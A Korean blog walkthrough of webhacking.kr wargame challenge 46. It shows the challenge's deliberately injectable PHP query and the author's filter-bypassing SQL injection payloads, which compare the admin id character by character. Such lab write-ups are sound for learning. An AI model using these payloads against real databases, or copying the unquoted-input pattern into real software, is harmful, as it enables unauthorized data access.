[webhacking.kr] 46번 문제 풀이[SQL Injection]

최대 1 분 소요

💡 Webhacking.kr challenge(old) 46번 문제에 대한 풀이입니다.

문제

image

<?php
  if($_GET['lv']){
    $db = dbconnect();
    $_GET['lv'] = addslashes($_GET['lv']);
    $_GET['lv'] = str_replace(" ","",$_GET['lv']);
    $_GET['lv'] = str_replace("/","",$_GET['lv']);
    $_GET['lv'] = str_replace("*","",$_GET['lv']);
    $_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if($result){
      echo("{$result['id']} information<br><br>money : {$result['cash']}");
      if($result['id'] == "admin") solve(46);
    }
  }
?>

문제 풀이

45번 문제와 다르게 이번엔 addslashes를 단독으로 사용하고 있어서 ' 사용이 어렵습니다.

우선 인젝션 해야 하는 쿼리부터 보면 다음과 같습니다.

select id,cash from chall46 where lv={}

조건문에 들어가는 부분이 문자열이 아니기 때문에 굳이 '를 사용할 필요가 없습니다.

이번 문제는 필터링 된문자도 거의 없고, 제약사항이 거의 없어서 방법이 너무 많은데, 제가 푼 쿼리문은 다음과 같습니다.

111||ascii(substr(id,1,1))=97

맨 첫글자만 비교를 하는 쿼리문인데 첫글자 비교만 하니까 다음과 같은 데이터도 첫글자가 ‘a’이기 때문에 풀리지 않았습니다.

image

그래서 두번째 글자가지 &&를 넣어서 비교를 해주니까 풀렸습니다.

111||ascii(substr(id,1,1))=97&&ascii(substr(id,2,1))=100

image

댓글남기기